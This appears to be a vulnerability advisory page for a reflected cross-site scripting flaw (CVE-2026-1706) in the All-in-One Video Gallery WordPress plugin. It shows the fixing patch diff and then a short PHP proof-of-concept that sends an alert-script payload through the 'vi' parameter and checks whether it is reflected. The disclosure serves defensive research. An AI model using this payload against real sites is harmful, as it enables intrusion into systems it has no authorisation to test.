+		$url = 'https://www.youtube.com/embed/' . aiovg_get_youtube_id_from_url( $url ) . '?iv_load_policy=3&modestbranding=1&rel=0&showinfo=0&enablejsapi=1';

 		if ( isset( $queries['start'] ) ) {
 			$url = add_query_arg( 'start', (int) $queries['start'], $url );
--- a/all-in-one-video-gallery/includes/player/popup.php
+++ b/all-in-one-video-gallery/includes/player/popup.php
@@ -106,7 +106,7 @@
 			'<a href="javascript: void(0);" class="%s" data-mfp-src="%s" data-player_ratio="%s">%s</a>',
 			implode( ' ', $classes ),
 			esc_url( $this->embed_url ),
-			(float) $player_settings['ratio'] . '%',
+			(float) $player_settings['ratio'],
 			$popup_content
 		);

--- a/all-in-one-video-gallery/includes/player/videojs.php
+++ b/all-in-one-video-gallery/includes/player/videojs.php
@@ -93,7 +93,8 @@
 			'post_id'        => (int) $this->post_id,
 			'post_type'      => sanitize_text_field( $this->post_type ),
 			'cookie_consent' => 0,
-			'cc_load_policy' => (int) $player_settings['cc_load_policy'],
+			'cc_load_policy' => (int) $player_settings['cc_load_policy'],
+			'statistics'     => (int) $player_settings['statistics'],
 			'hotkeys'        => (int) $player_settings['hotkeys'],
 			'player'         => array(
 				'controlBar'                => array(),
@@ -604,10 +605,10 @@
 		);

 		$html .= sprintf(
-			'<aiovg-video class="aiovg-player aiovg-player-element aiovg-player-standard vjs-waiting" style="padding-bottom: %s%%;" data-id="%s" data-params='%s'>',
+			'<aiovg-video class="aiovg-player aiovg-player-element aiovg-player-standard vjs-waiting" style="padding-bottom: %s%%;" data-id="%s" data-params="%s">',
 			(float) $player_settings['ratio'],
 			esc_attr( $attributes['id'] ),
-			wp_json_encode( $settings )
+			esc_attr( wp_json_encode( $settings ) )
 		);

 		$html .= $player_html;
--- a/all-in-one-video-gallery/includes/player/vidstack.php
+++ b/all-in-one-video-gallery/includes/player/vidstack.php
@@ -94,8 +94,9 @@
 			'post_type'   => sanitize_text_field( $this->post_type ),
 			'ajax_url'    => sanitize_url( admin_url( 'admin-ajax.php' ) ),
 			'ajax_nonce'  => wp_create_nonce( 'aiovg_public_ajax_nonce' ),
+			'statistics'  => (int) $player_settings['statistics'],
 			'lazyloading' => (int) $player_settings['lazyloading'],
-			'player'  => array(
+			'player'      => array(
 				'iconUrl' => AIOVG_PLUGIN_URL . 'vendor/vidstack/plyr.svg',
 				'volume'  => 0.5
 			)
@@ -486,8 +487,8 @@

 		aiovg_add_inline_script(
 			AIOVG_PLUGIN_SLUG . '-vidstack',
-			'var aiovg_player_' . (int) $this->reference_id . ' = ' . wp_json_encode( $settings ) . ';'
-		);
+			'var aiovg_player_' . (int) $this->reference_id . ' = ' . wp_json_encode( $settings, JSON_HEX_TAG | JSON_HEX_APOS | JSON_HEX_QUOT | JSON_HEX_AMP ) . ';'
+		);

 		// Output
 		$player_html = '';
--- a/all-in-one-video-gallery/includes/uninstall.php
+++ b/all-in-one-video-gallery/includes/uninstall.php
@@ -96,6 +96,7 @@
             'aiovg_api_settings',
             'aiovg_bunny_stream_settings',
             'aiovg_page_settings',
+            'aiovg_rewrite_rules_flushed',
             'aiovg_version'
         );
         foreach ( $aiovg_settings as $settings ) {
--- a/all-in-one-video-gallery/public/public.php
+++ b/all-in-one-video-gallery/public/public.php
@@ -484,6 +484,30 @@
 	}

 	/**
+	 * Filters the allowed query variables.
+	 *
+	 * @since  4.7.2
+	 * @param  array $vars The array of allowed query variable names.
+	 * @return array       The filtered query variables.
+	 */
+	public function query_vars( $vars ) {
+		$vars[] = 'vi';
+		$vars[] = 'ca';
+		$vars[] = 'ta';
+		$vars[] = 'sort';
+		$vars[] = 'video';
+		$vars[] = 'aiovg_category';
+		$vars[] = 'aiovg_tag';
+		$vars[] = 'aiovg_user';
+		$vars[] = 'aiovg_type';
+		$vars[] = 'aiovg_video';
+		$vars[] = 'aiovg_action';
+		$vars[] = 'aiovg_playlist';
+
+		return $vars;
+	}
+
+	/**
 	 * Set MySQL's RAND function seed value in a cookie.
 	 *
 	 * @since 3.9.3
@@ -515,38 +539,54 @@
 	 *
 	 * @since 1.0.0
 	 */
-	 public function maybe_flush_rules() {
+	public function maybe_flush_rules() {
+		// One-time delayed flush after activation/update/settings change
+		if ( ! get_option( 'aiovg_rewrite_rules_flushed' ) ) {
+
+			flush_rewrite_rules( false );
+			update_option( 'aiovg_rewrite_rules_flushed', 1 );
+
+			return;
+		}
+
 		$general_settings = aiovg_get_option( 'aiovg_general_settings' );

 		if ( empty( $general_settings['maybe_flush_rewrite_rules'] ) ) {
-			return false;
+			return;
 		}

-		$rewrite_rules = get_option( 'rewrite_rules' );
-
-		if ( $rewrite_rules ) {
-			global $wp_rewrite;
-
-			foreach ( $rewrite_rules as $rule => $rewrite ) {
-				$rewrite_rules_array[ $rule ]['rewrite'] = $rewrite;
-			}
-			$rewrite_rules_array = array_reverse( $rewrite_rules_array, true );
-
-			$maybe_missing = $wp_rewrite->rewrite_rules();
-			$missing_rules = false;
-
-			foreach ( $maybe_missing as $rule => $rewrite ) {
-				if ( ! array_key_exists( $rule, $rewrite_rules_array ) ) {
-					$missing_rules = true;
-					break;
-				}
+		// Allow developers to restrict the check to admin only
+		$admin_only = apply_filters( 'aiovg_flush_rewrite_rules_admin_only', false );
+
+		if ( $admin_only && ! is_admin() ) {
+			return;
+		}
+
+		$stored_rules = get_option( 'rewrite_rules' );
+
+		if ( empty( $stored_rules ) || ! is_array( $stored_rules ) ) {
+			return;
+		}
+
+		global $wp_rewrite;
+
+		if ( empty( $wp_rewrite ) ) {
+			return;
+		}
+
+		$generated_rules = $wp_rewrite->rewrite_rules();
+
+		if ( empty( $generated_rules ) || ! is_array( $generated_rules ) ) {
+			return;
+		}
+
+		foreach ( $generated_rules as $rule => $rewrite ) {
+			if ( ! array_key_exists( $rule, $stored_rules ) ) {
+				flush_rewrite_rules( false );
+				return;
 			}
-
-			if ( true === $missing_rules ) {
-				flush_rewrite_rules();
-			}
-		}
-	}
+		}
+	}

 	/**
 	 * Override the default page/post title.
--- a/all-in-one-video-gallery/public/templates/player-iframe.php
+++ b/all-in-one-video-gallery/public/templates/player-iframe.php
@@ -9,8 +9,10 @@
  * @package All_In_One_Video_Gallery
  */

-$player_html = '';
-$maybe_shortcode = false;
+$player_html            = '';
+$maybe_shortcode        = false;
+$is_youtube             = false;
+$is_vimeo               = false;
 $enable_referrer_policy = false;

 if ( ! empty( $post_meta ) ) {
@@ -25,7 +27,14 @@
             $embed_url = $iframe_src;

             if ( false !== strpos( $embed_url, 'youtube.com' ) || false !== strpos( $embed_url, 'youtu.be' ) ) {
+                $is_youtube             = true;
                 $enable_referrer_policy = true;
+
+                $embed_url = add_query_arg( 'enablejsapi', 1, $embed_url );
+            }
+
+            if ( false !== strpos( $embed_url, 'vimeo.com' ) ) {
+                $is_vimeo = true;
             }
         } else {
             $player_html     = $embedcode;
@@ -58,11 +67,12 @@

     // YouTube
     if ( 'youtube' == $current_video_provider ) {
+        $is_youtube             = true;
         $enable_referrer_policy = true;

         parse_str( $embed_url, $queries );

-        $embed_url = 'https://www.youtube.com/embed/' . aiovg_get_youtube_id_from_url( $embed_url ) . '?iv_load_policy=3&modestbranding=1&rel=0&showinfo=0';
+        $embed_url = 'https://www.youtube.com/embed/' . aiovg_get_youtube_id_from_url( $embed_url ) . '?iv_load_policy=3&modestbranding=1&rel=0&showinfo=0&enablejsapi=1';

         if ( isset( $queries['start'] ) ) {
             $embed_url = add_query_arg( 'start', (int) $queries['start'], $embed_url );
@@ -103,7 +113,8 @@

     // Vimeo
     if ( 'vimeo' == $current_video_provider ) {
-        $oembed = aiovg_get_vimeo_oembed_data( $embed_url );
+        $is_vimeo = true;
+        $oembed   = aiovg_get_vimeo_oembed_data( $embed_url );

         $embed_url = 'https://player.vimeo.com/video/' . $oembed['video_id'] . '?byline=0&portrait=0&title=0&vimeo_logo=0';

@@ -221,7 +232,7 @@

     // Build iframe code
     $player_html = sprintf(
-        '<iframe src="%s" title="%s" width="560" height="315" frameborder="0" scrolling="no" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen%s></iframe>',
+        '<iframe id="aiovg-player-iframe" src="%s" title="%s" width="560" height="315" frameborder="0" scrolling="no" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen%s></iframe>',
         esc_url( $embed_url ),
         esc_attr( $post_title ),
         ( $enable_referrer_policy ? ' referrerpolicy="strict-origin-when-cross-origin"' : '' )
@@ -263,36 +274,142 @@
 </head>
 <body>
     <?php echo $maybe_shortcode ? do_shortcode( $player_html ) : $player_html; ?>
+    <?php if ( $maybe_shortcode ) wp_footer(); ?>
+    <?php do_action( 'aiovg_player_iframe_footer' ); ?>

-    <?php if ( 'aiovg_videos' == $post_type ) : ?>
+    <?php if ( $is_youtube ) : ?>
+        <script src="https://www.youtube.com/iframe_api"></script>
         <script type="text/javascript">
-            /**
-             * Update video views count.
-             */
-            function ajaxSubmit() {
-                var xmlhttp;
-
-                if ( window.XMLHttpRequest ) {
-                    xmlhttp = new XMLHttpRequest();
-                } else {
-                    xmlhttp = new ActiveXObject( 'Microsoft.XMLHTTP' );
+            let player     = null;
+            let isApiReady = false;
+
+            function onYouTubeIframeAPIReady() {
+                player = new YT.Player( 'aiovg-player-iframe', {
+                    events: {
+                        'onReady': function() {
+                            isApiReady = true;
+                        },
+                        'onStateChange': ( event ) => {
+                            if ( 1 == event.data ) { // Playing
+                                // Pause other players
+                                window.parent.postMessage({
+                                    message: 'aiovg-video-playing',
+                                    context: 'iframe'
+                                }, window.location.origin );
+                            }
+                        }
+                    }
+                });
+            }
+
+            window.addEventListener( 'message', function( event ) {
+                if ( ! player || ! isApiReady ) {
+                    return false;
                 }
-
-                xmlhttp.onreadystatechange = function() {
-                    if ( xmlhttp.readyState == 4 && xmlhttp.status == 200 && xmlhttp.responseText ) {
-                        // console.log( xmlhttp.responseText );
-                    }
+
+                if ( event.origin !== window.location.origin ) {
+                    return false;
                 }

-                xmlhttp.open( 'GET', '<?php echo admin_url( 'admin-ajax.php' ); ?>?action=aiovg_update_views_count&post_id=<?php echo $post_id; ?>&security=<?php echo wp_create_nonce( 'aiovg_public_ajax_nonce' ); ?>', true );
-                xmlhttp.send();
-            }
+                if ( typeof event.data !== 'object' ) {
+                    return false;
+                }
+
+                if ( ! event.data.hasOwnProperty( 'message' ) ) {
+                    return false;
+                }

-            ajaxSubmit();
+                switch ( event.data.message ) {
+                    case 'aiovg-video-play':
+                        if ( player.playVideo ) {
+                            player.playVideo();
+                        }
+                        break;
+
+                    case 'aiovg-video-pause':
+                        if ( player.pauseVideo ) {
+                            player.pauseVideo();
+                        }
+                        break;
+
+                    case 'aiovg-video-seek':
+                        if ( event.data.hasOwnProperty( 'seconds' ) ) {
+                            if ( player.seekTo ) {
+                                player.seekTo( event.data.seconds, true );
+                            }
+                        }
+                        break;
+                }
+            });
         </script>
     <?php endif; ?>

-    <?php if ( $maybe_shortcode ) wp_footer(); ?>
-    <?php do_action( 'aiovg_player_iframe_footer' ); ?>
+    <?php if ( $is_vimeo ) : ?>
+        <script src="https://player.vimeo.com/api/player.js"></script>
+        <script type="text/javascript">
+            let iframe     = document.querySelector( '#aiovg-player-iframe' );
+            let player     = new Vimeo.Player( iframe );
+            let isApiReady = false;
+
+            player.ready().then(function() {
+                isApiReady = true;
+            });
+
+            player.on( 'play', ( data ) => {
+                // Pause other players
+                window.parent.postMessage({
+                    message: 'aiovg-video-playing',
+                    context: 'iframe'
+                }, window.location.origin );
+            });
+
+            window.addEventListener( 'message', function( event ) {
+                if ( ! player || ! isApiReady ) {
+                    return false;
+                }
+
+                if ( event.origin !== window.location.origin ) {
+                    return false;
+                }
+
+                if ( typeof event.data !== 'object' ) {
+                    return false;
+                }
+
+                if ( ! event.data.hasOwnProperty( 'message' ) ) {
+                    return false;
+                }
+
+                switch ( event.data.message ) {
+                    case 'aiovg-video-play':
+                        if ( player.play ) {
+                            player.play();
+                        }
+                        break;
+
+                    case 'aiovg-video-pause':
+                        if ( player.pause ) {
+                            player.pause();
+                        }
+                        break;
+
+                    case 'aiovg-video-seek':
+                        if ( event.data.hasOwnProperty( 'seconds' ) ) {
+                            if ( player.setCurrentTime ) {
+                                player.setCurrentTime( event.data.seconds );
+                            }
+                        }
+                        break;
+                }
+            });
+        </script>
+    <?php endif; ?>
+
+    <?php
+    // Update views count
+    if ( 'aiovg_videos' == $post_type ) {
+        aiovg_update_views_count( $post_id );
+    }
+    ?>
 </body>
 </html>
 No newline at end of file
--- a/all-in-one-video-gallery/public/templates/player-videojs.php
+++ b/all-in-one-video-gallery/public/templates/player-videojs.php
@@ -14,17 +14,18 @@
 	'post_id'        => $post_id,
 	'post_type'      => $post_type,
 	'cc_load_policy' => isset( $_GET['cc_load_policy'] ) ? (int) $_GET['cc_load_policy'] : (int) $player_settings['cc_load_policy'],
+	'statistics'     => isset( $player_settings['statistics'] ) ? (int) $player_settings['statistics'] : 1,
 	'hotkeys'        => isset( $player_settings['hotkeys'] ) && ! empty( $player_settings['hotkeys'] ) ? 1 : 0,
-	'i18n'           => array(
-		'stream_not_found' => __( 'This stream is currently not live. Please check back or refresh your page.', 'all-in-one-video-gallery' )
-	),
-	'player' => array(
+	'player'         => array(
 		'controlBar'                => array(),
 		'liveui'                    => true,
 		'textTrackSettings'         => false,
 		'playbackRates'             => array( 0.5, 0.75, 1, 1.5, 2 ),
 		'techCanOverridePoster'     => true,
 		'suppressNotSupportedError' => true
+	),
+	'i18n'           => array(
+		'stream_not_found' => __( 'This stream is currently not live. Please check back or refresh your page.', 'all-in-one-video-gallery' )
 	)
 );

@@ -1659,7 +1660,7 @@
 					hasVideoStarted = true;
 					body.classList.remove( 'vjs-waiting' );

-					if ( settings.post_type == 'aiovg_videos' ) {
+					if ( settings.statistics && settings.post_type == 'aiovg_videos' ) {
 						updateViewsCount( player );
 					}
 				}
--- a/all-in-one-video-gallery/public/templates/player-vidstack.php
+++ b/all-in-one-video-gallery/public/templates/player-vidstack.php
@@ -10,10 +10,11 @@
  */

 $settings = array(
-	'uid'       => isset( $_GET['uid'] ) ? sanitize_text_field( $_GET['uid'] ) : 0,
-	'post_id'   => $post_id,
-	'post_type' => $post_type,
-	'player'    => array(
+	'uid'        => isset( $_GET['uid'] ) ? sanitize_text_field( $_GET['uid'] ) : 0,
+	'post_id'    => $post_id,
+	'post_type'  => $post_type,
+	'statistics' => isset( $player_settings['statistics'] ) ? (int) $player_settings['statistics'] : 1,
+	'player'     => array(
 		'iconUrl' => AIOVG_PLUGIN_URL . 'vendor/vidstack/plyr.svg',
 		'volume'  => 0.5
 	)
@@ -1239,7 +1240,7 @@

 				if ( ! hasVideoStarted ) {
 					hasVideoStarted = true;
-					if ( settings.post_type == 'aiovg_videos' ) {
+					if ( settings.statistics && settings.post_type == 'aiovg_videos' ) {
 						updateViewsCount( player );
 					}
 				}
--- a/all-in-one-video-gallery/public/video.php
+++ b/all-in-one-video-gallery/public/video.php
@@ -306,44 +306,68 @@
 			$attributes['title'] = get_the_title( $post_id );
 		}

+		$show_description = isset( $attributes['show_description'] ) ? (int) $attributes['show_description'] : 0;
+		if ( $show_description && $post_id > 0 ) {
+			$attributes['description'] = get_the_content( null, false, $post_id );
+		}
+
 		$attributes = apply_filters( 'shortcode_atts_aiovg_video', $attributes, $content );

 		$player_html = aiovg_get_player_html( $post_id, $attributes );

 		$html = $player_html;

-		if ( isset( $attributes['title'] ) && ! empty( $attributes['title'] ) ) {
-			$title_position = isset( $attributes['title_position'] ) ? sanitize_text_field( $attributes['title_position'] ) : '';
+		if ( ! empty( $attributes['title'] ) || ! empty( $attributes['description'] ) ) {
+			// Title
+			if ( ! empty( $attributes['title'] ) ) {
+				$title_position = isset( $attributes['title_position'] ) ? sanitize_text_field( $attributes['title_position'] ) : '';
+
+				$allowed_title_tags = array( 'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'div', 'p' );
+				$title_tag = isset( $attributes['title_tag'] ) ? sanitize_key( $attributes['title_tag'] ) : 'div';
+				if ( ! in_array( $title_tag, $allowed_title_tags) ) {
+					$title_tag = 'div';
+				}
+
+				switch ( $title_position ) {
+					case 'bottom':
+						$html = sprintf(
+							'%1$s<%2$s class="aiovg-player-title">%3$s</%2$s>',
+							$player_html,
+							$title_tag,
+							esc_html( $attributes['title'] )
+						);
+						break;
+
+					default: // top
+						$html = sprintf(
+							'<%1$s class="aiovg-player-title">%2$s</%1$s>%3$s',
+							$title_tag,
+							esc_html( $attributes['title'] ),
+							$player_html
+						);
+
+				}
+			}

-			$allowed_title_tags = array( 'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'div', 'p' );
-			$title_tag = isset( $attributes['title_tag'] ) ? sanitize_key( $attributes['title_tag'] ) : 'div';
-			if ( ! in_array( $title_tag, $allowed_title_tags) ) {
-				$title_tag = 'div';
-			}
-
-			$html = '<div class="aiovg aiovg-video-shortcode">';
-
-			switch ( $title_position ) {
-				case 'bottom':
-					$html .= sprintf(
-						'%1$s<%2$s class="aiovg-player-title">%3$s</%2$s>',
-						$player_html,
-						$title_tag,
-						esc_html( $attributes['title'] )
-					);
-					break;
-
-				default: // top
-					$html .= sprintf(
-						'<%1$s class="aiovg-player-title">%2$s</%1$s>%3$s',
-						$title_tag,
-						esc_html( $attributes['title'] ),
-						$player_html
-					);
-
+			// Description
+			if ( ! empty( $attributes['description'] ) ) {
+				$player_settings = aiovg_get_option( 'aiovg_player_settings' );
+
+				if ( isset( $player_settings['controls']['chapters'] ) ) {
+					wp_enqueue_script( AIOVG_PLUGIN_SLUG . '-chapters' );
+				}
+
+				$filtered_content = wpautop( $attributes['description'] );
+				$filtered_content = wp_kses_post( $filtered_content );
+				$filtered_content = do_shortcode( $filtered_content );
+				$filtered_content = apply_filters( 'aiovg_the_content', $filtered_content, $post_id );
+
+				$html .= '<div class="aiovg-player-description aiovg-margin-top">';
+				$html .= $filtered_content;
+				$html .= '</div>';
 			}

-			$html .= '</div>';
+			$html = sprintf( '<div class="aiovg aiovg-single-video aiovg-video-shortcode">%s</div>', $html );
 		}

 		return $html;
--- a/all-in-one-video-gallery/public/videos.php
+++ b/all-in-one-video-gallery/public/videos.php
@@ -715,7 +715,7 @@
 		$content = '';

 		if ( $aiovg_query->have_posts() ) {
-			if ( ( is_front_page() && is_home() ) || empty( $attributes['show_pagination'] ) ) {
+			if ( empty( $attributes['show_pagination'] ) ) {
 				$attributes['count'] = $aiovg_query->post_count;
 			} else {
 				$attributes['count'] = $aiovg_query->found_posts;
@@ -772,19 +772,19 @@
 			! empty( $attributes['filters_tag'] ) ||
 			! empty( $attributes['filters_sort'] )
 		) {
-			if ( isset( $_GET['vi'] ) ) {
-				$attributes['search_query'] = $_GET['vi'];
-			}
-
-			if ( isset( $_GET['ca'] ) ) {
-				$attributes['category'] = $_GET['ca'];
+			$search_query = isset( $_GET['vi'] ) ? sanitize_text_field( $_GET['vi'] ) : '';
+
+			if ( ! empty( $search_query ) ) {
+				$attributes['search_query'] = $search_query;
 			}

 			$categories = isset( $_GET['ca'] ) ? (array) $_GET['ca'] : array();
 			$categories = array_map( 'intval', $categories );
 			$categories = array_filter( $categories );

-			if ( empty( $categories ) ) {
+			if ( ! empty( $categories ) ) {
+				$attributes['category'] = $categories;
+			} else {
 				$categories_excluded = get_terms( array(
 					'taxonomy'   => 'aiovg_categories',
 					'hide_empty' => false,
@@ -798,12 +798,18 @@
 				}
 			}

-			if ( isset( $_GET['ta'] ) ) {
-				$attributes['tag'] = $_GET['ta'];
+			$tags = isset( $_GET['ta'] ) ? (array) $_GET['ta'] : array();
+			$tags = array_map( 'intval', $tags );
+			$tags = array_filter( $tags );
+
+			if ( ! empty( $tags ) ) {
+				$attributes['tag'] = $tags;
 			}

-			if ( isset( $_GET['sort'] ) ) {
-				$sort = array_filter( array_map( 'trim', explode( '-', $_GET['sort'] ) ) );
+			$sort = isset( $_GET['sort'] ) ? sanitize_key( $_GET['sort'] ) : '';
+
+			if ( ! empty( $sort ) ) {
+				$sort = array_filter( array_map( 'trim', explode( '-', $sort ) ) );

 				if ( ! empty( $sort ) ) {
 					$attributes['orderby'] = $sort[0];
--- a/all-in-one-video-gallery/widgets/videos.php
+++ b/all-in-one-video-gallery/widgets/videos.php
@@ -413,19 +413,19 @@
 			! empty( $attributes['filters_tag'] ) ||
 			! empty( $attributes['filters_sort'] )
 		) {
-			if ( isset( $_GET['vi'] ) ) {
-				$attributes['search_query'] = $_GET['vi'];
+			$search_query = isset( $_GET['vi'] ) ? sanitize_text_field( $_GET['vi'] ) : '';
+
+			if ( ! empty( $search_query ) ) {
+				$attributes['search_query'] = $search_query;
 			}

-			if ( isset( $_GET['ca'] ) ) {
-				$attributes['category'] = $_GET['ca'];
-			}
-
 			$categories = isset( $_GET['ca'] ) ? (array) $_GET['ca'] : array();
 			$categories = array_map( 'intval', $categories );
 			$categories = array_filter( $categories );

-			if ( empty( $categories ) ) {
+			if ( ! empty( $categories ) ) {
+				$attributes['category'] = $categories;
+			} else {
 				$categories_excluded = get_terms( array(
 					'taxonomy'   => 'aiovg_categories',
 					'hide_empty' => false,
@@ -439,12 +439,18 @@
 				}
 			}

-			if ( isset( $_GET['ta'] ) ) {
-				$attributes['tag'] = $_GET['ta'];
+			$tags = isset( $_GET['ta'] ) ? (array) $_GET['ta'] : array();
+			$tags = array_map( 'intval', $tags );
+			$tags = array_filter( $tags );
+
+			if ( ! empty( $tags ) ) {
+				$attributes['tag'] = $tags;
 			}

-			if ( isset( $_GET['sort'] ) ) {
-				$sort = array_filter( array_map( 'trim', explode( '-', $_GET['sort'] ) ) );
+			$sort = isset( $_GET['sort'] ) ? sanitize_key( $_GET['sort'] ) : '';
+
+			if ( ! empty( $sort ) ) {
+				$sort = array_filter( array_map( 'trim', explode( '-', $sort ) ) );

 				if ( ! empty( $sort ) ) {
 					$attributes['orderby'] = $sort[0];

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1706 - All-in-One Video Gallery <= 4.7.1 - Reflected Cross-Site Scripting via 'vi' Parameter
<?php
$target_url = 'http://example.com/wp-content/plugins/all-in-one-video-gallery/'; // Change this to target site

// XSS payload to demonstrate vulnerability
$payload = '<script>alert(document.domain)</script>';
$encoded_payload = urlencode($payload);

// Construct malicious URL with vi parameter
$attack_url = $target_url . '?vi=' . $encoded_payload;

// Display attack URL
echo "Attack URL: " . $attack_url . "nn";

// Demonstrate the request using cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $attack_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36');

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

if ($http_code == 200) {
    echo "Request successful (HTTP 200)n";
    echo "Response length: " . strlen($response) . " bytesn";
    
    // Check if payload appears in response (unsanitized)
    if (strpos($response, $payload) !== false) {
        echo "VULNERABLE: Payload found unsanitized in responsen";
    } else {
        echo "Payload not found in response (may be patched or differently vulnerable)n";
    }
} else {
    echo "Request failed with HTTP code: " . $http_code . "n";
}

curl_close($ch);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School